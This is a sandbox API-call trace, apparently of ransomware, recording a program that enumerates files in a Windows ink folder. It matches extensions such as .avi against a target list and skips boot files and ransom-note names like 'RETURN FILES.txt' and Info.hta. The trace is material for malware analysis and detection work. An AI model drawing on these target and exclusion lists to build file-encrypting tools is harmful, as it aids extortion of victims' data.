	[0167.833] lstrlenW (lpString=".accdc") returned 6
	[0167.833] lstrcmpiW (lpString1=".accdc", lpString2="it.avi") returned -1
	[0167.833] lstrlenW (lpString=".accde") returned 6
	[0167.833] lstrcmpiW (lpString1=".accde", lpString2="it.avi") returned -1
	[0167.833] lstrlenW (lpString=".accdt") returned 6
	[0167.833] lstrcmpiW (lpString1=".accdt", lpString2="it.avi") returned -1
	[0167.833] lstrlenW (lpString=".accdw") returned 6
	[0167.833] lstrcmpiW (lpString1=".accdw", lpString2="it.avi") returned -1
	[0167.833] lstrlenW (lpString=".adb") returned 4
	[0167.833] lstrcmpiW (lpString1=".adb", lpString2=".avi") returned -1
	[0167.834] lstrlenW (lpString=".adp") returned 4
	[0167.834] lstrcmpiW (lpString1=".adp", lpString2=".avi") returned -1
	[0167.834] lstrlenW (lpString=".ai") returned 3
	[0167.834] lstrcmpiW (lpString1=".ai", lpString2="avi") returned -1
	[0167.834] lstrlenW (lpString=".ai3") returned 4
	[0167.834] lstrcmpiW (lpString1=".ai3", lpString2=".avi") returned -1
	[0167.834] lstrlenW (lpString=".ai4") returned 4
	[0167.834] lstrcmpiW (lpString1=".ai4", lpString2=".avi") returned -1
	[0167.834] lstrlenW (lpString=".ai5") returned 4
	[0167.834] lstrcmpiW (lpString1=".ai5", lpString2=".avi") returned -1
	[0167.834] lstrlenW (lpString=".ai6") returned 4
	[0167.834] lstrcmpiW (lpString1=".ai6", lpString2=".avi") returned -1
	[0167.834] lstrlenW (lpString=".ai7") returned 4
	[0167.834] lstrcmpiW (lpString1=".ai7", lpString2=".avi") returned -1
	[0167.834] lstrlenW (lpString=".ai8") returned 4
	[0167.834] lstrcmpiW (lpString1=".ai8", lpString2=".avi") returned -1
	[0167.834] lstrlenW (lpString=".anim") returned 5
	[0167.834] lstrcmpiW (lpString1=".anim", lpString2="t.avi") returned -1
	[0167.834] lstrlenW (lpString=".arw") returned 4
	[0167.834] lstrcmpiW (lpString1=".arw", lpString2=".avi") returned -1
	[0167.834] lstrlenW (lpString=".as") returned 3
	[0167.834] lstrcmpiW (lpString1=".as", lpString2="avi") returned -1
	[0167.834] lstrlenW (lpString=".asa") returned 4
	[0167.834] lstrcmpiW (lpString1=".asa", lpString2=".avi") returned -1
	[0167.834] lstrlenW (lpString=".asc") returned 4
	[0167.834] lstrcmpiW (lpString1=".asc", lpString2=".avi") returned -1
	[0167.834] lstrlenW (lpString=".ascx") returned 5
	[0167.834] lstrcmpiW (lpString1=".ascx", lpString2="t.avi") returned -1
	[0167.834] lstrlenW (lpString=".asm") returned 4
	[0167.834] lstrcmpiW (lpString1=".asm", lpString2=".avi") returned -1
	[0167.834] lstrlenW (lpString=".asmx") returned 5
	[0167.834] lstrcmpiW (lpString1=".asmx", lpString2="t.avi") returned -1
	[0167.834] lstrlenW (lpString=".asp") returned 4
	[0167.834] lstrcmpiW (lpString1=".asp", lpString2=".avi") returned -1
	[0167.835] lstrlenW (lpString=".aspx") returned 5
	[0167.835] lstrcmpiW (lpString1=".aspx", lpString2="t.avi") returned -1
	[0167.835] lstrlenW (lpString=".asr") returned 4
	[0167.835] lstrcmpiW (lpString1=".asr", lpString2=".avi") returned -1
	[0167.835] lstrlenW (lpString=".asx") returned 4
	[0167.835] lstrcmpiW (lpString1=".asx", lpString2=".avi") returned -1
	[0167.835] lstrlenW (lpString=".avi") returned 4
	[0167.835] lstrcmpiW (lpString1=".avi", lpString2=".avi") returned 0
	[0167.835] lstrlenW (lpString="boxed-split.avi") returned 15
	[0167.835] lstrlenW (lpString=".html") returned 5
	[0167.835] lstrcmpiW (lpString1=".html", lpString2="t.avi") returned -1
	[0167.835] lstrlenW (lpString="boxed-split.avi") returned 15
	[0167.835] lstrcmpiW (lpString1="boot.ini", lpString2="boxed-split.avi") returned -1
	[0167.835] lstrcmpiW (lpString1="bootfont.bin", lpString2="boxed-split.avi") returned -1
	[0167.835] lstrcmpiW (lpString1="ntldr", lpString2="boxed-split.avi") returned 1
	[0167.835] lstrcmpiW (lpString1="ntdetect.com", lpString2="boxed-split.avi") returned 1
	[0167.835] lstrcmpiW (lpString1="io.sys", lpString2="boxed-split.avi") returned 1
	[0167.835] lstrcmpiW (lpString1="RETURN FILES.txt", lpString2="boxed-split.avi") returned 1
	[0167.835] lstrcmpiW (lpString1="Info.hta", lpString2="boxed-split.avi") returned 1
	[0167.835] lstrcmpiW (lpString1="payload2.exe", lpString2="boxed-split.avi") returned 1
	[0167.835] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0167.835] FindNextFileW (in: hFindFile=0x6ac718, lpFindFileData=0x3b4f08c | out: lpFindFileData=0x3b4f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1a8750a, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1a8750a, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x2bfcc, dwReserved0=0x1fb, dwReserved1=0xfffff981, cFileName="correct.avi", cAlternateFileName="")) returned 1
	[0167.835] lstrlenW (lpString="correct.avi") returned 11
	[0167.835] lstrlenW (lpString=".1cd") returned 4
	[0167.836] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0167.836] lstrlenW (lpString=".3ds") returned 4
	[0167.836] lstrcmpiW (lpString1=".3ds", lpString2=".avi") returned -1
	[0167.836] lstrlenW (lpString=".3fr") returned 4
	[0167.836] lstrcmpiW (lpString1=".3fr", lpString2=".avi") returned -1
	[0167.836] lstrlenW (lpString=".3g2") returned 4
	[0167.836] lstrcmpiW (lpString1=".3g2", lpString2=".avi") returned -1
	[0167.836] lstrlenW (lpString=".3gp") returned 4
	[0167.836] lstrcmpiW (lpString1=".3gp", lpString2=".avi") returned -1
	[0167.836] lstrlenW (lpString=".7z") returned 3
	[0167.836] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0167.836] lstrlenW (lpString=".accda") returned 6
	[0167.836] lstrcmpiW (lpString1=".accda", lpString2="ct.avi") returned -1
	[0167.836] lstrlenW (lpString=".accdb") returned 6
	[0167.836] lstrcmpiW (lpString1=".accdb", lpString2="ct.avi") returned -1
	[0167.836] lstrlenW (lpString=".accdc") returned 6
	[0167.836] lstrcmpiW (lpString1=".accdc", lpString2="ct.avi") returned -1
	[0167.836] lstrlenW (lpString=".accde") returned 6
	[0167.836] lstrcmpiW (lpString1=".accde", lpString2="ct.avi") returned -1
	[0167.836] lstrlenW (lpString=".accdt") returned 6
	[0167.836] lstrcmpiW (lpString1=".accdt", lpString2="ct.avi") returned -1
	[0167.836] lstrlenW (lpString=".accdw") returned 6
	[0167.836] lstrcmpiW (lpString1=".accdw", lpString2="ct.avi") returned -1
	[0167.836] lstrlenW (lpString=".adb") returned 4
	[0167.836] lstrcmpiW (lpString1=".adb", lpString2=".avi") returned -1
	[0167.836] lstrlenW (lpString=".adp") returned 4
	[0167.836] lstrcmpiW (lpString1=".adp", lpString2=".avi") returned -1
	[0167.836] lstrlenW (lpString=".ai") returned 3
	[0167.837] lstrcmpiW (lpString1=".ai", lpString2="avi") returned -1
	[0167.837] lstrlenW (lpString=".ai3") returned 4
	[0167.837] lstrcmpiW (lpString1=".ai3", lpString2=".avi") returned -1
	[0167.837] lstrlenW (lpString=".ai4") returned 4
	[0167.837] lstrcmpiW (lpString1=".ai4", lpString2=".avi") returned -1
	[0167.837] lstrlenW (lpString=".ai5") returned 4
	[0167.837] lstrcmpiW (lpString1=".ai5", lpString2=".avi") returned -1
	[0167.837] lstrlenW (lpString=".ai6") returned 4
	[0167.837] lstrcmpiW (lpString1=".ai6", lpString2=".avi") returned -1
	[0167.837] lstrlenW (lpString=".ai7") returned 4
	[0167.837] lstrcmpiW (lpString1=".ai7", lpString2=".avi") returned -1
	[0167.837] lstrlenW (lpString=".ai8") returned 4
	[0167.837] lstrcmpiW (lpString1=".ai8", lpString2=".avi") returned -1
	[0167.837] lstrlenW (lpString=".anim") returned 5
	[0167.837] lstrcmpiW (lpString1=".anim", lpString2="t.avi") returned -1
	[0167.837] lstrlenW (lpString=".arw") returned 4
	[0167.837] lstrcmpiW (lpString1=".arw", lpString2=".avi") returned -1
	[0167.837] lstrlenW (lpString=".as") returned 3
	[0167.837] lstrcmpiW (lpString1=".as", lpString2="avi") returned -1
	[0167.837] lstrlenW (lpString=".asa") returned 4
	[0167.837] lstrcmpiW (lpString1=".asa", lpString2=".avi") returned -1
	[0167.837] lstrlenW (lpString=".asc") returned 4
	[0167.837] lstrcmpiW (lpString1=".asc", lpString2=".avi") returned -1
	[0167.837] lstrlenW (lpString=".ascx") returned 5
	[0167.837] lstrcmpiW (lpString1=".ascx", lpString2="t.avi") returned -1
	[0167.837] lstrlenW (lpString=".asm") returned 4
	[0167.837] lstrcmpiW (lpString1=".asm", lpString2=".avi") returned -1
	[0167.837] lstrlenW (lpString=".asmx") returned 5
	[0167.838] lstrcmpiW (lpString1=".asmx", lpString2="t.avi") returned -1
	[0167.838] lstrlenW (lpString=".asp") returned 4
	[0167.838] lstrcmpiW (lpString1=".asp", lpString2=".avi") returned -1
	[0167.838] lstrlenW (lpString=".aspx") returned 5
	[0167.838] lstrcmpiW (lpString1=".aspx", lpString2="t.avi") returned -1
	[0167.838] lstrlenW (lpString=".asr") returned 4
	[0167.838] lstrcmpiW (lpString1=".asr", lpString2=".avi") returned -1
	[0167.838] lstrlenW (lpString=".asx") returned 4
	[0167.838] lstrcmpiW (lpString1=".asx", lpString2=".avi") returned -1
	[0167.838] lstrlenW (lpString=".avi") returned 4
	[0167.838] lstrcmpiW (lpString1=".avi", lpString2=".avi") returned 0
	[0167.838] lstrlenW (lpString="correct.avi") returned 11
	[0167.838] lstrlenW (lpString=".html") returned 5
	[0167.838] lstrcmpiW (lpString1=".html", lpString2="t.avi") returned -1
	[0167.838] lstrlenW (lpString="correct.avi") returned 11
	[0167.838] lstrcmpiW (lpString1="boot.ini", lpString2="correct.avi") returned -1
	[0167.838] lstrcmpiW (lpString1="bootfont.bin", lpString2="correct.avi") returned -1
	[0167.838] lstrcmpiW (lpString1="ntldr", lpString2="correct.avi") returned 1
	[0167.838] lstrcmpiW (lpString1="ntdetect.com", lpString2="correct.avi") returned 1
	[0167.838] lstrcmpiW (lpString1="io.sys", lpString2="correct.avi") returned 1
	[0167.838] lstrcmpiW (lpString1="RETURN FILES.txt", lpString2="correct.avi") returned 1
	[0167.838] lstrcmpiW (lpString1="Info.hta", lpString2="correct.avi") returned 1
	[0167.838] lstrcmpiW (lpString1="payload2.exe", lpString2="correct.avi") returned 1
	[0167.838] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68
	[0167.838] FindNextFileW (in: hFindFile=0x6ac718, lpFindFileData=0x3b4f08c | out: lpFindFileData=0x3b4f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1a612b1, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1a612b1, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x32e18, dwReserved0=0x1fb, dwReserved1=0xfffff981, cFileName="delete.avi", cAlternateFileName="")) returned 1
	[0167.838] lstrlenW (lpString="delete.avi") returned 10
	[0167.838] lstrlenW (lpString=".1cd") returned 4
	[0167.838] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0167.838] lstrlenW (lpString=".3ds") returned 4
	[0167.839] lstrcmpiW (lpString1=".3ds", lpString2=".avi") returned -1
	[0167.839] lstrlenW (lpString=".3fr") returned 4
	[0167.839] lstrcmpiW (lpString1=".3fr", lpString2=".avi") returned -1
	[0167.839] lstrlenW (lpString=".3g2") returned 4
	[0167.839] lstrcmpiW (lpString1=".3g2", lpString2=".avi") returned -1
	[0167.839] lstrlenW (lpString=".3gp") returned 4
	[0167.839] lstrcmpiW (lpString1=".3gp", lpString2=".avi") returned -1
	[0167.839] lstrlenW (lpString=".7z") returned 3
	[0167.839] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0167.839] lstrlenW (lpString=".accda") returned 6
	[0167.839] lstrcmpiW (lpString1=".accda", lpString2="te.avi") returned -1
	[0167.839] lstrlenW (lpString=".accdb") returned 6
	[0167.839] lstrcmpiW (lpString1=".accdb", lpString2="te.avi") returned -1
	[0167.839] lstrlenW (lpString=".accdc") returned 6
	[0167.839] lstrcmpiW (lpString1=".accdc", lpString2="te.avi") returned -1
	[0167.839] lstrlenW (lpString=".accde") returned 6
	[0167.839] lstrcmpiW (lpString1=".accde", lpString2="te.avi") returned -1
	[0167.839] lstrlenW (lpString=".accdt") returned 6
	[0167.839] lstrcmpiW (lpString1=".accdt", lpString2="te.avi") returned -1
	[0167.839] lstrlenW (lpString=".accdw") returned 6
	[0167.839] lstrcmpiW (lpString1=".accdw", lpString2="te.avi") returned -1
	[0167.839] lstrlenW (lpString=".adb") returned 4
	[0167.839] lstrcmpiW (lpString1=".adb", lpString2=".avi") returned -1
	[0167.839] lstrlenW (lpString=".adp") returned 4
	[0167.839] lstrcmpiW (lpString1=".adp", lpString2=".avi") returned -1
	[0167.839] lstrlenW (lpString=".ai") returned 3
	[0167.839] lstrcmpiW (lpString1=".ai", lpString2="avi") returned -1
	[0167.839] lstrlenW (lpString=".ai3") returned 4
	[0167.839] lstrcmpiW (lpString1=".ai3", lpString2=".avi") returned -1
	[0167.839] lstrlenW (lpString=".ai4") returned 4
	[0167.839] lstrcmpiW (lpString1=".ai4", lpString2=".avi") returned -1
	[0167.839] lstrlenW (lpString=".ai5") returned 4
	[0167.840] lstrcmpiW (lpString1=".ai5", lpString2=".avi") returned -1
	[0167.840] lstrlenW (lpString=".ai6") returned 4
	[0167.840] lstrcmpiW (lpString1=".ai6", lpString2=".avi") returned -1
	[0167.840] lstrlenW (lpString=".ai7") returned 4
	[0167.840] lstrcmpiW (lpString1=".ai7", lpString2=".avi") returned -1
	[0167.840] lstrlenW (lpString=".ai8") returned 4
	[0167.840] lstrcmpiW (lpString1=".ai8", lpString2=".avi") returned -1
	[0167.840] lstrlenW (lpString=".anim") returned 5
	[0167.840] lstrcmpiW (lpString1=".anim", lpString2="e.avi") returned -1
	[0167.840] lstrlenW (lpString=".arw") returned 4
	[0167.840] lstrcmpiW (lpString1=".arw", lpString2=".avi") returned -1
	[0167.840] lstrlenW (lpString=".as") returned 3
	[0167.840] lstrcmpiW (lpString1=".as", lpString2="avi") returned -1
	[0167.840] lstrlenW (lpString=".asa") returned 4
	[0167.840] lstrcmpiW (lpString1=".asa", lpString2=".avi") returned -1
	[0167.840] lstrlenW (lpString=".asc") returned 4
	[0167.840] lstrcmpiW (lpString1=".asc", lpString2=".avi") returned -1
	[0167.840] lstrlenW (lpString=".ascx") returned 5
	[0167.840] lstrcmpiW (lpString1=".ascx", lpString2="e.avi") returned -1
	[0167.840] lstrlenW (lpString=".asm") returned 4
	[0167.840] lstrcmpiW (lpString1=".asm", lpString2=".avi") returned -1
	[0167.840] lstrlenW (lpString=".asmx") returned 5
	[0167.840] lstrcmpiW (lpString1=".asmx", lpString2="e.avi") returned -1
	[0167.840] lstrlenW (lpString=".asp") returned 4
	[0167.840] lstrcmpiW (lpString1=".asp", lpString2=".avi") returned -1
	[0167.840] lstrlenW (lpString=".aspx") returned 5
	[0167.840] lstrcmpiW (lpString1=".aspx", lpString2="e.avi") returned -1
	[0167.840] lstrlenW (lpString=".asr") returned 4
	[0167.840] lstrcmpiW (lpString1=".asr", lpString2=".avi") returned -1
	[0167.840] lstrlenW (lpString=".asx") returned 4
	[0167.840] lstrcmpiW (lpString1=".asx", lpString2=".avi") returned -1
	[0167.840] lstrlenW (lpString=".avi") returned 4
	[0167.840] lstrcmpiW (lpString1=".avi", lpString2=".avi") returned 0
	[0167.841] lstrlenW (lpString="delete.avi") returned 10
	[0167.841] lstrlenW (lpString=".html") returned 5
	[0167.841] lstrcmpiW (lpString1=".html", lpString2="e.avi") returned -1
	[0167.841] lstrlenW (lpString="delete.avi") returned 10
	[0167.841] lstrcmpiW (lpString1="boot.ini", lpString2="delete.avi") returned -1
	[0167.841] lstrcmpiW (lpString1="bootfont.bin", lpString2="delete.avi") returned -1
	[0167.841] lstrcmpiW (lpString1="ntldr", lpString2="delete.avi") returned 1
	[0167.841] lstrcmpiW (lpString1="ntdetect.com", lpString2="delete.avi") returned 1
	[0167.841] lstrcmpiW (lpString1="io.sys", lpString2="delete.avi") returned 1
	[0167.841] lstrcmpiW (lpString1="RETURN FILES.txt", lpString2="delete.avi") returned 1
	[0167.841] lstrcmpiW (lpString1="Info.hta", lpString2="delete.avi") returned 1
	[0167.841] lstrcmpiW (lpString1="payload2.exe", lpString2="delete.avi") returned 1
	[0167.841] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67
	[0167.841] FindNextFileW (in: hFindFile=0x6ac718, lpFindFileData=0x3b4f08c | out: lpFindFileData=0x3b4f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3da3ec5f, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7bf3d600, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x1fb, dwReserved1=0xfffff981, cFileName="FlickLearningWizard.exe.mui", cAlternateFileName="")) returned 1
	[0167.841] lstrlenW (lpString="FlickLearningWizard.exe.mui") returned 27
	[0167.841] lstrlenW (lpString=".1cd") returned 4
	[0167.841] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0167.841] lstrlenW (lpString=".3ds") returned 4
	[0167.841] lstrcmpiW (lpString1=".3ds", lpString2=".mui") returned -1
	[0167.841] lstrlenW (lpString=".3fr") returned 4
	[0167.841] lstrcmpiW (lpString1=".3fr", lpString2=".mui") returned -1
	[0167.841] lstrlenW (lpString=".3g2") returned 4
	[0167.841] lstrcmpiW (lpString1=".3g2", lpString2=".mui") returned -1
	[0167.841] lstrlenW (lpString=".3gp") returned 4
	[0167.841] lstrcmpiW (lpString1=".3gp", lpString2=".mui") returned -1
	[0167.841] lstrlenW (lpString=".7z") returned 3
	[0167.841] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0167.841] lstrlenW (lpString=".accda") returned 6
	[0167.841] lstrcmpiW (lpString1=".accda", lpString2="xe.mui") returned -1
	[0167.842] lstrlenW (lpString=".accdb") returned 6
	[0167.842] lstrcmpiW (lpString1=".accdb", lpString2="xe.mui") returned -1
	[0167.842] lstrlenW (lpString=".accdc") returned 6
	[0167.842] lstrcmpiW (lpString1=".accdc", lpString2="xe.mui") returned -1
	[0167.842] lstrlenW (lpString=".accde") returned 6
	[0167.842] lstrcmpiW (lpString1=".accde", lpString2="xe.mui") returned -1
	[0167.842] lstrlenW (lpString=".accdt") returned 6
	[0167.842] lstrcmpiW (lpString1=".accdt", lpString2="xe.mui") returned -1
	[0167.842] lstrlenW (lpString=".accdw") returned 6
	[0167.842] lstrcmpiW (lpString1=".accdw", lpString2="xe.mui") returned -1
	[0167.842] lstrlenW (lpString=".adb") returned 4
	[0167.842] lstrcmpiW (lpString1=".adb", lpString2=".mui") returned -1
	[0167.842] lstrlenW (lpString=".adp") returned 4
	[0167.842] lstrcmpiW (lpString1=".adp", lpString2=".mui") returned -1
	[0167.842] lstrlenW (lpString=".ai") returned 3
	[0167.842] lstrcmpiW (lpString1=".ai", lpString2="mui") returned -1
	[0167.842] lstrlenW (lpString=".ai3") returned 4
	[0167.842] lstrcmpiW (lpString1=".ai3", lpString2=".mui") returned -1
	[0167.842] lstrlenW (lpString=".ai4") returned 4
	[0167.842] lstrcmpiW (lpString1=".ai4", lpString2=".mui") returned -1
	[0167.842] lstrlenW (lpString=".ai5") returned 4
	[0167.842] lstrcmpiW (lpString1=".ai5", lpString2=".mui") returned -1
	[0167.842] lstrlenW (lpString=".ai6") returned 4
	[0167.842] lstrcmpiW (lpString1=".ai6", lpString2=".mui") returned -1
	[0167.842] lstrlenW (lpString=".ai7") returned 4
	[0167.842] lstrcmpiW (lpString1=".ai7", lpString2=".mui") returned -1
	[0167.842] lstrlenW (lpString=".ai8") returned 4
	[0167.842] lstrcmpiW (lpString1=".ai8", lpString2=".mui") returned -1
	[0167.842] lstrlenW (lpString=".anim") returned 5
	[0167.842] lstrcmpiW (lpString1=".anim", lpString2="e.mui") returned -1
	[0167.842] lstrlenW (lpString=".arw") returned 4
	[0167.843] lstrcmpiW (lpString1=".arw", lpString2=".mui") returned -1
	[0167.843] lstrlenW (lpString=".as") returned 3
	[0167.843] lstrcmpiW (lpString1=".as", lpString2="mui") returned -1
	[0167.843] lstrlenW (lpString=".asa") returned 4
	[0167.843] lstrcmpiW (lpString1=".asa", lpString2=".mui") returned -1
	[0167.843] lstrlenW (lpString=".asc") returned 4
	[0167.843] lstrcmpiW (lpString1=".asc", lpString2=".mui") returned -1
	[0167.843] lstrlenW (lpString=".ascx") returned 5
	[0167.843] lstrcmpiW (lpString1=".ascx", lpString2="e.mui") returned -1
	[0167.843] lstrlenW (lpString=".asm") returned 4
	[0167.843] lstrcmpiW (lpString1=".asm", lpString2=".mui") returned -1
	[0167.843] lstrlenW (lpString=".asmx") returned 5
	[0167.843] lstrcmpiW (lpString1=".asmx", lpString2="e.mui") returned -1
	[0167.843] lstrlenW (lpString=".asp") returned 4
	[0167.843] lstrcmpiW (lpString1=".asp", lpString2=".mui") returned -1
	[0167.843] lstrlenW (lpString=".aspx") returned 5
	[0167.843] lstrcmpiW (lpString1=".aspx", lpString2="e.mui") returned -1
	[0167.843] lstrlenW (lpString=".asr") returned 4
	[0167.843] lstrcmpiW (lpString1=".asr", lpString2=".mui") returned -1
	[0167.843] lstrlenW (lpString=".asx") returned 4
	[0167.843] lstrcmpiW (lpString1=".asx", lpString2=".mui") returned -1
	[0167.843] lstrlenW (lpString=".avi") returned 4
	[0167.843] lstrcmpiW (lpString1=".avi", lpString2=".mui") returned -1
	[0167.843] lstrlenW (lpString=".avs") returned 4
	[0167.843] FindNextFileW (in: hFindFile=0x6ac718, lpFindFileData=0x3b4f08c | out: lpFindFileData=0x3b4f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dab1374, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7e563000, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x1fb, dwReserved1=0xfffff981, cFileName="InkObj.dll.mui", cAlternateFileName="")) returned 1
	[0167.843] lstrlenW (lpString="InkObj.dll.mui") returned 14
	[0167.843] lstrlenW (lpString=".1cd") returned 4
	[0167.844] FindNextFileW (in: hFindFile=0x6ac718, lpFindFileData=0x3b4f08c | out: lpFindFileData=0x3b4f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d9f27a8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7f875d00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x1fb, dwReserved1=0xfffff981, cFileName="InputPersonalization.exe.mui", cAlternateFileName="")) returned 1
	[0167.844] lstrlenW (lpString="InputPersonalization.exe.mui") returned 28
	[0167.844] lstrlenW (lpString=".1cd") returned 4
	[0167.844] FindNextFileW (in: hFindFile=0x6ac718, lpFindFileData=0x3b4f08c | out: lpFindFileData=0x3b4f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d9f27a8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7f875d00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x5a00, dwReserved0=0x1fb, dwReserved1=0xfffff981, cFileName="IPSEventLogMsg.dll.mui", cAlternateFileName="")) returned 1
	[0167.844] lstrlenW (lpString="IPSEventLogMsg.dll.mui") returned 22
	[0167.844] lstrlenW (lpString=".1cd") returned 4
	[0167.844] FindNextFileW (in: hFindFile=0x6ac718, lpFindFileData=0x3b4f08c | out: lpFindFileData=0x3b4f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3da18a06, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x80b88a00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x1fb, dwReserved1=0xfffff981, cFileName="IpsMigrationPlugin.dll.mui", cAlternateFileName="")) returned 1
	[0167.844] lstrlenW (lpString="IpsMigrationPlugin.dll.mui") returned 26
	[0167.844] lstrlenW (lpString=".1cd") returned 4
	[0167.844] FindNextFileW (in: hFindFile=0x6ac718, lpFindFileData=0x3b4f08c | out: lpFindFileData=0x3b4f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a1d507, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1af9c24, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1af9c24, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x30d3a, dwReserved0=0x1fb, dwReserved1=0xfffff981, cFileName="join.avi", cAlternateFileName="")) returned 1
	[0167.844] lstrlenW (lpString="join.avi") returned 8
	[0167.844] lstrlenW (lpString=".1cd") returned 4
	[0167.844] FindNextFileW (in: hFindFile=0x6ac718, lpFindFileData=0x3b4f08c | out: lpFindFileData=0x3b4f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dad75cd, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7e563000, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0x1fb, dwReserved1=0xfffff981, cFileName="micaut.dll.mui", cAlternateFileName="")) returned 1
	[0167.844] lstrlenW (lpString="micaut.dll.mui") returned 14
	[0167.844] lstrlenW (lpString=".1cd") returned 4
	[0167.844] FindNextFileW (in: hFindFile=0x6ac718, lpFindFileData=0x3b4f08c | out: lpFindFileData=0x3b4f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3da8b116, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7d250300, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x1fb, dwReserved1=0xfffff981, cFileName="mip.exe.mui", cAlternateFileName="")) returned 1
	[0167.845] lstrlenW (lpString="mip.exe.mui") returned 11
	[0167.845] lstrlenW (lpString=".1cd") returned 4
	[0167.845] FindNextFileW (in: hFindFile=0x6ac718, lpFindFileData=0x3b4f08c | out: lpFindFileData=0x3b4f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3da18a06, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x80b88a00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x1fb, dwReserved1=0xfffff981, cFileName="mshwLatin.dll.mui", cAlternateFileName="")) returned 1
	[0167.845] lstrlenW (lpString="mshwLatin.dll.mui") returned 17
	[0167.845] lstrlenW (lpString=".1cd") returned 4
	[0167.845] FindNextFileW (in: hFindFile=0x6ac718, lpFindFileData=0x3b4f08c | out: lpFindFileData=0x3b4f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dab1374, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7e563000, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x1fb, dwReserved1=0xfffff981, cFileName="rtscom.dll.mui", cAlternateFileName="")) returned 1
	[0167.845] lstrlenW (lpString="rtscom.dll.mui") returned 14
	[0167.845] lstrlenW (lpString=".1cd") returned 4
